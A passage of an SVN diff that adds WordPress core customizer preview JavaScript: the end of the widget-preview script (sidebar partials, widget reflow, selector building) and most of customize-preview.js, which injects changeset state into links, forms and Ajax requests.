+						instanceNumber: boundaryNodes.instanceNumber
+					}
+				} );
+			} );
+		},
+
+		/**
+		 * Get the list of widget IDs associated with this widget area.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @returns {Array}
+		 */
+		getWidgetIds: function() {
+			var sidebarPartial = this, settingId, widgetIds;
+			settingId = sidebarPartial.settings()[0];
+			if ( ! settingId ) {
+				throw new Error( 'Missing associated setting.' );
+			}
+			if ( ! api.has( settingId ) ) {
+				throw new Error( 'Setting does not exist.' );
+			}
+			widgetIds = api( settingId ).get();
+			if ( ! _.isArray( widgetIds ) ) {
+				throw new Error( 'Expected setting to be array of widget IDs' );
+			}
+			return widgetIds.slice( 0 );
+		},
+
+		/**
+		 * Reflow widgets in the sidebar, ensuring they have the proper position in the DOM.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements that were reflowed.
+		 */
+		reflowWidgets: function() {
+			var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
+			widgetIds = sidebarPartial.getWidgetIds();
+			sidebarPlacements = sidebarPartial.placements();
+
+			widgetPartials = {};
+			_.each( widgetIds, function( widgetId ) {
+				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
+				if ( widgetPartial ) {
+					widgetPartials[ widgetId ] = widgetPartial;
+				}
+			} );
+
+			_.each( sidebarPlacements, function( sidebarPlacement ) {
+				var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;
+
+				// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
+				_.each( widgetPartials, function( widgetPartial ) {
+					_.each( widgetPartial.placements(), function( widgetPlacement ) {
+
+						if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
+							thisPosition = widgetPlacement.container.index();
+							sidebarWidgets.push( {
+								partial: widgetPartial,
+								placement: widgetPlacement,
+								position: thisPosition
+							} );
+							if ( thisPosition < lastPosition ) {
+								needsSort = true;
+							}
+							lastPosition = thisPosition;
+						}
+					} );
+				} );
+
+				if ( needsSort ) {
+					_.each( sidebarWidgets, function( sidebarWidget ) {
+						sidebarPlacement.endNode.parentNode.insertBefore(
+							sidebarWidget.placement.container[0],
+							sidebarPlacement.endNode
+						);
+
+						// @todo Rename partial-placement-moved?
+						api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
+					} );
+
+					sortedSidebarContainers.push( sidebarPlacement );
+				}
+			} );
+
+			if ( sortedSidebarContainers.length > 0 ) {
+				api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
+			}
+
+			return sortedSidebarContainers;
+		},
+
+		/**
+		 * Make sure there is a widget instance container in this sidebar for the given widget ID.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {string} widgetId
+		 * @returns {wp.customize.selectiveRefresh.Partial} Widget instance partial.
+		 */
+		ensureWidgetPlacementContainers: function( widgetId ) {
+			var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
+			widgetPartial = api.selectiveRefresh.partial( partialId );
+			if ( ! widgetPartial ) {
+				widgetPartial = new self.WidgetPartial( partialId, {
+					params: {}
+				} );
+			}
+
+			// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
+			_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
+				var foundWidgetPlacement, widgetContainerElement;
+
+				foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
+					return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
+				} );
+				if ( foundWidgetPlacement ) {
+					return;
+				}
+
+				widgetContainerElement = $(
+					sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
+					sidebarPartial.params.sidebarArgs.after_widget
+				);
+
+				// Handle rare case where before_widget and after_widget are empty.
+				if ( ! widgetContainerElement[0] ) {
+					return;
+				}
+
+				widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
+				widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
+				widgetContainerElement.attr( 'data-customize-widget-id', widgetId );
+
+				/*
+				 * Make sure the widget container element has the customize-container context data.
+				 * The sidebar_instance_number is used to disambiguate multiple instances of the
+				 * same sidebar are rendered onto the template, and so the same widget is embedded
+				 * multiple times.
+				 */
+				widgetContainerElement.data( 'customize-partial-placement-context', {
+					'sidebar_id': sidebarPartial.sidebarId,
+					'sidebar_instance_number': sidebarPlacement.context.instanceNumber
+				} );
+
+				sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
+				wasInserted = true;
+			} );
+
+			api.selectiveRefresh.partial.add( widgetPartial );
+
+			if ( wasInserted ) {
+				sidebarPartial.reflowWidgets();
+			}
+
+			return widgetPartial;
+		},
+
+		/**
+		 * Handle change to the sidebars_widgets[] setting.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {Array} newWidgetIds New widget ids.
+		 * @param {Array} oldWidgetIds Old widget ids.
+		 */
+		handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
+			var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];
+
+			needsRefresh = (
+				( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
+				( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
+			);
+			if ( needsRefresh ) {
+				sidebarPartial.fallback();
+				return;
+			}
+
+			// Handle removal of widgets.
+			widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
+			_.each( widgetsRemoved, function( removedWidgetId ) {
+				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
+				if ( widgetPartial ) {
+					_.each( widgetPartial.placements(), function( placement ) {
+						var isRemoved = (
+							placement.context.sidebar_id === sidebarPartial.sidebarId ||
+							( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
+						);
+						if ( isRemoved ) {
+							placement.container.remove();
+						}
+					} );
+				}
+				delete self.renderedWidgets[ removedWidgetId ];
+			} );
+
+			// Handle insertion of widgets.
+			widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
+			_.each( widgetsAdded, function( addedWidgetId ) {
+				var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
+				addedWidgetPartials.push( widgetPartial );
+				self.renderedWidgets[ addedWidgetId ] = true;
+			} );
+
+			_.each( addedWidgetPartials, function( widgetPartial ) {
+				widgetPartial.refresh();
+			} );
+
+			api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
+		},
+
+		/**
+		 * Note that the meat is handled in handleSettingChange because it has the context of which widgets were removed.
+		 *
+		 * @since 4.5.0
+		 */
+		refresh: function() {
+			var partial = this, deferred = $.Deferred();
+
+			deferred.fail( function() {
+				partial.fallback();
+			} );
+
+			if ( 0 === partial.placements().length ) {
+				deferred.reject();
+			} else {
+				_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
+					api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
+				} );
+				deferred.resolve();
+			}
+
+			return deferred.promise();
+		}
+	});
+
+	api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
+	api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;
+
+	/**
+	 * Add partials for the registered widget areas (sidebars).
+	 *
+	 * @since 4.5.0
+	 */
+	self.addPartials = function() {
+		_.each( self.registeredSidebars, function( registeredSidebar ) {
+			var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
+			partial = api.selectiveRefresh.partial( partialId );
+			if ( ! partial ) {
+				partial = new self.SidebarPartial( partialId, {
+					params: {
+						sidebarArgs: registeredSidebar
+					}
+				} );
+				api.selectiveRefresh.partial.add( partial );
+			}
+		} );
+	};
+
+	/**
+	 * Calculate the selector for the sidebar's widgets based on the registered sidebar's info.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 3.9.0
+	 */
+	self.buildWidgetSelectors = function() {
+		var self = this;
+
+		$.each( self.registeredSidebars, function( i, sidebar ) {
+			var widgetTpl = [
+					sidebar.before_widget,
+					sidebar.before_title,
+					sidebar.after_title,
+					sidebar.after_widget
+				].join( '' ),
+				emptyWidget,
+				widgetSelector,
+				widgetClasses;
+
+			emptyWidget = $( widgetTpl );
+			widgetSelector = emptyWidget.prop( 'tagName' ) || '';
+			widgetClasses = emptyWidget.prop( 'className' ) || '';
+
+			// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
+			if ( ! widgetClasses ) {
+				return;
+			}
+
+			// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
+			widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
+			widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
+			if ( widgetClasses ) {
+				widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
+			}
+			self.widgetSelectors.push( widgetSelector );
+		});
+	};
+
+	/**
+	 * Highlight the widget on widget updates or widget control mouse overs.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 3.9.0
+	 * @param  {string} widgetId ID of the widget.
+	 */
+	self.highlightWidget = function( widgetId ) {
+		var $body = $( document.body ),
+			$widget = $( '#' + widgetId );
+
+		$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );
+
+		$widget.addClass( 'widget-customizer-highlighted-widget' );
+		setTimeout( function() {
+			$widget.removeClass( 'widget-customizer-highlighted-widget' );
+		}, 500 );
+	};
+
+	/**
+	 * Show a title and highlight widgets on hover. On shift+clicking
+	 * focus the widget control.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 3.9.0
+	 */
+	self.highlightControls = function() {
+		var self = this,
+			selector = this.widgetSelectors.join( ',' );
+
+		// Skip adding highlights if not in the customizer preview iframe.
+		if ( ! api.settings.channel ) {
+			return;
+		}
+
+		$( selector ).attr( 'title', this.l10n.widgetTooltip );
+
+		$( document ).on( 'mouseenter', selector, function() {
+			self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
+		});
+
+		// Open expand the widget control when shift+clicking the widget element
+		$( document ).on( 'click', selector, function( e ) {
+			if ( ! e.shiftKey ) {
+				return;
+			}
+			e.preventDefault();
+
+			self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
+		});
+	};
+
+	/**
+	 * Parse a widget ID.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param {string} widgetId Widget ID.
+	 * @returns {{idBase: string, number: number|null}}
+	 */
+	self.parseWidgetId = function( widgetId ) {
+		var matches, parsed = {
+			idBase: '',
+			number: null
+		};
+
+		matches = widgetId.match( /^(.+)-(\d+)$/ );
+		if ( matches ) {
+			parsed.idBase = matches[1];
+			parsed.number = parseInt( matches[2], 10 );
+		} else {
+			parsed.idBase = widgetId; // Likely an old single widget.
+		}
+
+		return parsed;
+	};
+
+	/**
+	 * Parse a widget setting ID.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param {string} settingId Widget setting ID.
+	 * @returns {{idBase: string, number: number|null}|null}
+	 */
+	self.parseWidgetSettingId = function( settingId ) {
+		var matches, parsed = {
+			idBase: '',
+			number: null
+		};
+
+		matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
+		if ( ! matches ) {
+			return null;
+		}
+		parsed.idBase = matches[1];
+		if ( matches[2] ) {
+			parsed.number = parseInt( matches[2], 10 );
+		}
+		return parsed;
+	};
+
+	/**
+	 * Convert a widget ID into a Customizer setting ID.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param {string} widgetId Widget ID.
+	 * @returns {string} settingId Setting ID.
+	 */
+	self.getWidgetSettingId = function( widgetId ) {
+		var parsed = this.parseWidgetId( widgetId ), settingId;
+
+		settingId = 'widget_' + parsed.idBase;
+		if ( parsed.number ) {
+			settingId += '[' + String( parsed.number ) + ']';
+		}
+
+		return settingId;
+	};
+
+	api.bind( 'preview-ready', function() {
+		$.extend( self, _wpWidgetCustomizerPreviewSettings );
+		self.init();
+	});
+
+	return self;
+})( jQuery, _, wp, wp.customize );
Index: /tags/5.0.20/src/wp-includes/js/customize-preview.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-preview.js	(revision 56912)
@@ -0,0 +1,897 @@
+/*
+ * Script run inside a Customizer preview frame.
+ */
+(function( exports, $ ){
+	var api = wp.customize,
+		debounce,
+		currentHistoryState = {};
+
+	/*
+	 * Capture the state that is passed into history.replaceState() and history.pushState()
+	 * and also which is returned in the popstate event so that when the changeset_uuid
+	 * gets updated when transitioning to a new changeset there the current state will
+	 * be supplied in the call to history.replaceState().
+	 */
+	( function( history ) {
+		var injectUrlWithState;
+
+		if ( ! history.replaceState ) {
+			return;
+		}
+
+		/**
+		 * Amend the supplied URL with the customized state.
+		 *
+		 * @since 4.7.0
+		 * @access private
+		 *
+		 * @param {string} url URL.
+		 * @returns {string} URL with customized state.
+		 */
+		injectUrlWithState = function( url ) {
+			var urlParser, oldQueryParams, newQueryParams;
+			urlParser = document.createElement( 'a' );
+			urlParser.href = url;
+			oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) );
+			newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+
+			newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid;
+			if ( oldQueryParams.customize_autosaved ) {
+				newQueryParams.customize_autosaved = 'on';
+			}
+			if ( oldQueryParams.customize_theme ) {
+				newQueryParams.customize_theme = oldQueryParams.customize_theme;
+			}
+			if ( oldQueryParams.customize_messenger_channel ) {
+				newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel;
+			}
+			urlParser.search = $.param( newQueryParams );
+			return urlParser.href;
+		};
+
+		history.replaceState = ( function( nativeReplaceState ) {
+			return function historyReplaceState( data, title, url ) {
+				currentHistoryState = data;
+				return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
+			};
+		} )( history.replaceState );
+
+		history.pushState = ( function( nativePushState ) {
+			return function historyPushState( data, title, url ) {
+				currentHistoryState = data;
+				return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
+			};
+		} )( history.pushState );
+
+		window.addEventListener( 'popstate', function( event ) {
+			currentHistoryState = event.state;
+		} );
+
+	}( history ) );
+
+	/**
+	 * Returns a debounced version of the function.
+	 *
+	 * @todo Require Underscore.js for this file and retire this.
+	 */
+	debounce = function( fn, delay, context ) {
+		var timeout;
+		return function() {
+			var args = arguments;
+
+			context = context || this;
+
+			clearTimeout( timeout );
+			timeout = setTimeout( function() {
+				timeout = null;
+				fn.apply( context, args );
+			}, delay );
+		};
+	};
+
+	/**
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Preview
+	 *
+	 * @constructor
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{
+		/**
+		 * @param {object} params  - Parameters to configure the messenger.
+		 * @param {object} options - Extend any instance parameter or method with this object.
+		 */
+		initialize: function( params, options ) {
+			var preview = this, urlParser = document.createElement( 'a' );
+
+			api.Messenger.prototype.initialize.call( preview, params, options );
+
+			urlParser.href = preview.origin();
+			preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );
+
+			preview.body = $( document.body );
+			preview.window = $( window );
+
+			if ( api.settings.channel ) {
+
+				// If in an iframe, then intercept the link clicks and form submissions.
+				preview.body.on( 'click.preview', 'a', function( event ) {
+					preview.handleLinkClick( event );
+				} );
+				preview.body.on( 'submit.preview', 'form', function( event ) {
+					preview.handleFormSubmit( event );
+				} );
+
+				preview.window.on( 'scroll.preview', debounce( function() {
+					preview.send( 'scroll', preview.window.scrollTop() );
+				}, 200 ) );
+
+				preview.bind( 'scroll', function( distance ) {
+					preview.window.scrollTop( distance );
+				});
+			}
+		},
+
+		/**
+		 * Handle link clicks in preview.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @param {jQuery.Event} event Event.
+		 */
+		handleLinkClick: function( event ) {
+			var preview = this, link, isInternalJumpLink;
+			link = $( event.target ).closest( 'a' );
+
+			// No-op if the anchor is not a link.
+			if ( _.isUndefined( link.attr( 'href' ) ) ) {
+				return;
+			}
+
+			// Allow internal jump links and JS links to behave normally without preventing default.
+			isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) );
+			if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) {
+				return;
+			}
+
+			// If the link is not previewable, prevent the browser from navigating to it.
+			if ( ! api.isLinkPreviewable( link[0] ) ) {
+				wp.a11y.speak( api.settings.l10n.linkUnpreviewable );
+				event.preventDefault();
+				return;
+			}
+
+			// Prevent initiating navigating from click and instead rely on sending url message to pane.
+			event.preventDefault();
+
+			/*
+			 * Note the shift key is checked so shift+click on widgets or
+			 * nav menu items can just result on focusing on the corresponding
+			 * control instead of also navigating to the URL linked to.
+			 */
+			if ( event.shiftKey ) {
+				return;
+			}
+
+			// Note: It's not relevant to send scroll because sending url message will have the same effect.
+			preview.send( 'url', link.prop( 'href' ) );
+		},
+
+		/**
+		 * Handle form submit.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @param {jQuery.Event} event Event.
+		 */
+		handleFormSubmit: function( event ) {
+			var preview = this, urlParser, form;
+			urlParser = document.createElement( 'a' );
+			form = $( event.target );
+			urlParser.href = form.prop( 'action' );
+
+			// If the link is not previewable, prevent the browser from navigating to it.
+			if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {
+				wp.a11y.speak( api.settings.l10n.formUnpreviewable );
+				event.preventDefault();
+				return;
+			}
+
+			/*
+			 * If the default wasn't prevented already (in which case the form
+			 * submission is already being handled by JS), and if it has a GET
+			 * request method, then take the serialized form data and add it as
+			 * a query string to the action URL and send this in a url message
+			 * to the customizer pane so that it will be loaded. If the form's
+			 * action points to a non-previewable URL, the customizer pane's
+			 * previewUrl setter will reject it so that the form submission is
+			 * a no-op, which is the same behavior as when clicking a link to an
+			 * external site in the preview.
+			 */
+			if ( ! event.isDefaultPrevented() ) {
+				if ( urlParser.search.length > 1 ) {
+					urlParser.search += '&';
+				}
+				urlParser.search += form.serialize();
+				preview.send( 'url', urlParser.href );
+			}
+
+			// Prevent default since navigation should be done via sending url message or via JS submit handler.
+			event.preventDefault();
+		}
+	});
+
+	/**
+	 * Inject the changeset UUID into links in the document.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 *
+	 * @access private
+	 * @returns {void}
+	 */
+	api.addLinkPreviewing = function addLinkPreviewing() {
+		var linkSelectors = 'a[href], area';
+
+		// Inject links into initial document.
+		$( document.body ).find( linkSelectors ).each( function() {
+			api.prepareLinkPreview( this );
+		} );
+
+		// Inject links for new elements added to the page.
+		if ( 'undefined' !== typeof MutationObserver ) {
+			api.mutationObserver = new MutationObserver( function( mutations ) {
+				_.each( mutations, function( mutation ) {
+					$( mutation.target ).find( linkSelectors ).each( function() {
+						api.prepareLinkPreview( this );
+					} );
+				} );
+			} );
+			api.mutationObserver.observe( document.documentElement, {
+				childList: true,
+				subtree: true
+			} );
+		} else {
+
+			// If mutation observers aren't available, fallback to just-in-time injection.
+			$( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() {
+				api.prepareLinkPreview( this );
+			} );
+		}
+	};
+
+	/**
+	 * Should the supplied link is previewable.
+	 *
+	 * @since 4.7.0
+	 * @access public
+	 *
+	 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
+	 * @param {string} element.search Query string.
+	 * @param {string} element.pathname Path.
+	 * @param {string} element.host Host.
+	 * @param {object} [options]
+	 * @param {object} [options.allowAdminAjax=false] Allow admin-ajax.php requests.
+	 * @returns {boolean} Is appropriate for changeset link.
+	 */
+	api.isLinkPreviewable = function isLinkPreviewable( element, options ) {
+		var matchesAllowedUrl, parsedAllowedUrl, args, elementHost;
+
+		args = _.extend( {}, { allowAdminAjax: false }, options || {} );
+
+		if ( 'javascript:' === element.protocol ) { // jshint ignore:line
+			return true;
+		}
+
+		// Only web URLs can be previewed.
+		if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) {
+			return false;
+		}
+
+		elementHost = element.host.replace( /:(80|443)$/, '' );
+		parsedAllowedUrl = document.createElement( 'a' );
+		matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) {
+			parsedAllowedUrl.href = allowedUrl;
+			return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) );
+		} ) );
+		if ( ! matchesAllowedUrl ) {
+			return false;
+		}
+
+		// Skip wp login and signup pages.
+		if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) {
+			return false;
+		}
+
+		// Allow links to admin ajax as faux frontend URLs.
+		if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) {
+			return args.allowAdminAjax;
+		}
+
+		// Disallow links to admin, includes, and content.
+		if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) {
+			return false;
+		}
+
+		return true;
+	};
+
+	/**
+	 * Inject the customize_changeset_uuid query param into links on the frontend.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 *
+	 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
+	 * @param {string} element.search Query string.
+	 * @param {string} element.host Host.
+	 * @param {string} element.protocol Protocol.
+	 * @returns {void}
+	 */
+	api.prepareLinkPreview = function prepareLinkPreview( element ) {
+		var queryParams, $element = $( element );
+
+		// Skip links in admin bar.
+		if ( $element.closest( '#wpadminbar' ).length ) {
+			return;
+		}
+
+		// Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:).
+		if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) {
+			return;
+		}
+
+		// Make sure links in preview use HTTPS if parent frame uses HTTPS.
+		if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) {
+			element.protocol = 'https:';
+		}
+
+		// Ignore links with class wp-playlist-caption
+		if ( $element.hasClass( 'wp-playlist-caption' ) ) {
+			return;
+		}
+
+		if ( ! api.isLinkPreviewable( element ) ) {
+
+			// Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally.
+			if ( api.settings.channel ) {
+				$element.addClass( 'customize-unpreviewable' );
+			}
+			return;
+		}
+		$element.removeClass( 'customize-unpreviewable' );
+
+		queryParams = api.utils.parseQueryString( element.search.substring( 1 ) );
+		queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
+		if ( api.settings.changeset.autosaved ) {
+			queryParams.customize_autosaved = 'on';
+		}
+		if ( ! api.settings.theme.active ) {
+			queryParams.customize_theme = api.settings.theme.stylesheet;
+		}
+		if ( api.settings.channel ) {
+			queryParams.customize_messenger_channel = api.settings.channel;
+		}
+		element.search = $.param( queryParams );
+
+		// Prevent links from breaking out of preview iframe.
+		if ( api.settings.channel ) {
+			element.target = '_self';
+		}
+	};
+
+	/**
+	 * Inject the changeset UUID into Ajax requests.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 *
+	 * @return {void}
+	 */
+	api.addRequestPreviewing = function addRequestPreviewing() {
+
+		/**
+		 * Rewrite Ajax requests to inject customizer state.
+		 *
+		 * @param {object} options Options.
+		 * @param {string} options.type Type.
+		 * @param {string} options.url URL.
+		 * @param {object} originalOptions Original options.
+		 * @param {XMLHttpRequest} xhr XHR.
+		 * @returns {void}
+		 */
+		var prefilterAjax = function( options, originalOptions, xhr ) {
+			var urlParser, queryParams, requestMethod, dirtyValues = {};
+			urlParser = document.createElement( 'a' );
+			urlParser.href = options.url;
+
+			// Abort if the request is not for this site.
+			if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) {
+				return;
+			}
+			queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) );
+
+			// Note that _dirty flag will be cleared with changeset updates.
+			api.each( function( setting ) {
+				if ( setting._dirty ) {
+					dirtyValues[ setting.id ] = setting.get();
+				}
+			} );
+
+			if ( ! _.isEmpty( dirtyValues ) ) {
+				requestMethod = options.type.toUpperCase();
+
+				// Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP).
+				if ( 'POST' !== requestMethod ) {
+					xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod );
+					queryParams._method = requestMethod;
+					options.type = 'POST';
+				}
+
+				// Amend the post data with the customized values.
+				if ( options.data ) {
+					options.data += '&';
+				} else {
+					options.data = '';
+				}
+				options.data += $.param( {
+					customized: JSON.stringify( dirtyValues )
+				} );
+			}
+
+			// Include customized state query params in URL.
+			queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
+			if ( api.settings.changeset.autosaved ) {
+				queryParams.customize_autosaved = 'on';
+			}
+			if ( ! api.settings.theme.active ) {
+				queryParams.customize_theme = api.settings.theme.stylesheet;
+			}
+
+			// Ensure preview nonce is included with every customized request, to allow post data to be read.
+			queryParams.customize_preview_nonce = api.settings.nonce.preview;
+
+			urlParser.search = $.param( queryParams );
+			options.url = urlParser.href;
+		};
+
+		$.ajaxPrefilter( prefilterAjax );
+	};
+
+	/**
+	 * Inject changeset UUID into forms, allowing preview to persist through submissions.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 *
+	 * @returns {void}
+	 */
+	api.addFormPreviewing = function addFormPreviewing() {
+
+		// Inject inputs for forms in initial document.
+		$( document.body ).find( 'form' ).each( function() {
+			api.prepareFormPreview( this );
+		} );
+
+		// Inject inputs for new forms added to the page.
+		if ( 'undefined' !== typeof MutationObserver ) {
+			api.mutationObserver = new MutationObserver( function( mutations ) {
+				_.each( mutations, function( mutation ) {
+					$( mutation.target ).find( 'form' ).each( function() {
+						api.prepareFormPreview( this );
+					} );
+				} );
+			} );
+			api.mutationObserver.observe( document.documentElement, {
+				childList: true,
+				subtree: true
+			} );
+		}
+	};
+
+	/**
+	 * Inject changeset into form inputs.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 *
+	 * @param {HTMLFormElement} form Form.
+	 * @returns {void}
+	 */
+	api.prepareFormPreview = function prepareFormPreview( form ) {
+		var urlParser, stateParams = {};
+
+		if ( ! form.action ) {
+			form.action = location.href;
+		}
+
+		urlParser = document.createElement( 'a' );
+		urlParser.href = form.action;
+
+		// Make sure forms in preview use HTTPS if parent frame uses HTTPS.
+		if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) {
+			urlParser.protocol = 'https:';
+			form.action = urlParser.href;
+		}
+
+		if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {
+
+			// Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally.
+			if ( api.settings.channel ) {
+				$( form ).addClass( 'customize-unpreviewable' );
+			}
+			return;
+		}
+		$( form ).removeClass( 'customize-unpreviewable' );
+
+		stateParams.customize_changeset_uuid = api.settings.changeset.uuid;
+		if ( api.settings.changeset.autosaved ) {
+			stateParams.customize_autosaved = 'on';
+		}
+		if ( ! api.settings.theme.active ) {
+			stateParams.customize_theme = api.settings.theme.stylesheet;
+		}
+		if ( api.settings.channel ) {
+			stateParams.customize_messenger_channel = api.settings.channel;
+		}
+
+		_.each( stateParams, function( value, name ) {
+			var input = $( form ).find( 'input[name="' + name + '"]' );
+			if ( input.length ) {
+				input.val( value );
+			} else {
+				$( form ).prepend( $( '<input>', {
+					type: 'hidden',
+					name: name,
+					value: value
+				} ) );
+			}
+		} );
+
+		// Prevent links from breaking out of preview iframe.
+		if ( api.settings.channel ) {
+			form.target = '_self';
+		}
+	};
+
+	/**
+	 * Watch current URL and send keep-alive (heartbeat) messages to the parent.
+	 *
+	 * Keep the customizer pane notified that the preview is still alive
+	 * and that the user hasn't navigated to a non-customized URL.
+	 *
+	 * @since 4.7.0
+	 * @access protected
+	 */
+	api.keepAliveCurrentUrl = ( function() {
+		var previousPathName = location.pathname,
+			previousQueryString = location.search.substr( 1 ),
+			previousQueryParams = null,
+			stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ];
+
+		return function keepAliveCurrentUrl() {
+			var urlParser, currentQueryParams;
+
+			// Short-circuit with keep-alive if previous URL is identical (as is normal case).
+			if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) {
+				api.preview.send( 'keep-alive' );
+				return;
+			}
+
+			urlParser = document.createElement( 'a' );
+			if ( null === previousQueryParams ) {
+				urlParser.search = previousQueryString;
+				previousQueryParams = api.utils.parseQueryString( previousQueryString );
+				_.each( stateQueryParams, function( name ) {
+					delete previousQueryParams[ name ];
+				} );
+			}
+
+			// Determine if current URL minus customized state params and URL hash.
+			urlParser.href = location.href;
+			currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+			_.each( stateQueryParams, function( name ) {
+				delete currentQueryParams[ name ];
+			} );
+
+			if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) {
